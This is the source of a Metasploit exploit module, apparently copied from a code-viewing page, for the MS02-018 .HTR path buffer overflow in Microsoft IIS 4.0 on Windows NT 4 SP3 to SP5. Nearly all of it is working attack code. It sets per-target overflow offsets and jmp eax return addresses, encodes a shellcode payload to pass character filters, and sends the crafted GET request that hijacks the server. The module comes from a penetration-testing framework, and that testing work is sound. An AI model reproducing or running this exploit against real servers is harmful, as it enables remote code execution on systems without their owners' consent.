Path: blob/master/modules/exploits/windows/iis/ms02_018_htr.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'MS02-018 Microsoft IIS 4.0 .HTR Path Overflow',15'Description' => %q{16This exploits a buffer overflow in the ISAPI ISM.DLL used to17process HTR scripting in IIS 4.0. This module works against18Windows NT 4 Service Packs 3, 4, and 5. The server will19continue to process requests until the payload being20executed has exited. If you've set EXITFUNC to 'seh', the21server will continue processing requests, but you will have22trouble terminating a bind shell. If you set EXITFUNC to23thread, the server will crash upon exit of the bind shell.24The payload is alpha-numerically encoded without a NOP sled25because otherwise the data gets mangled by the filters.26},27'Author' => [ 'stinko' ],28'License' => BSD_LICENSE,29'References' => [30[ 'CVE', '1999-0874'],31[ 'OSVDB', '3325'],32[ 'BID', '307'],33[ 'URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'],34[ 'MSB', 'MS02-018'],35],36'Privileged' => true,37'Payload' => {38'Space' => 2048,39'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),40'StackAdjustment' => -3500,41},42'Platform' => 'win',43'Targets' => [44['Windows NT 4.0 SP3', { 'Platform' => 'win', 'Rets' => [ 593, 0x77f81a4d ] }],45['Windows NT 4.0 SP4', { 'Platform' => 'win', 'Rets' => [ 593, 0x77f7635d ] }],46['Windows NT 4.0 SP5', { 'Platform' => 'win', 'Rets' => [ 589, 0x77f76385 ] }],47],48'DefaultOptions' => { 'AllowWin32SEH' => true }, # needed for pure alpha GetEIP stub49'DisclosureDate' => '2002-04-10',50'DefaultTarget' => 0,51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56)57)5859register_options(60[61Opt::RPORT(80)62]63)64end6566def exploit67connect6869buf = 'X' * target['Rets'][0]70buf << [ target['Rets'][1] ].pack('V')71buf << payload.encoded7273req = "GET /#{buf}.htr HTTP/1.0\r\n\r\n"74print_status("Trying target #{target.name} with jmp eax at 0x%.8x..." % target['Rets'][1])75sock.put(req)76handler77disconnect78end79end808182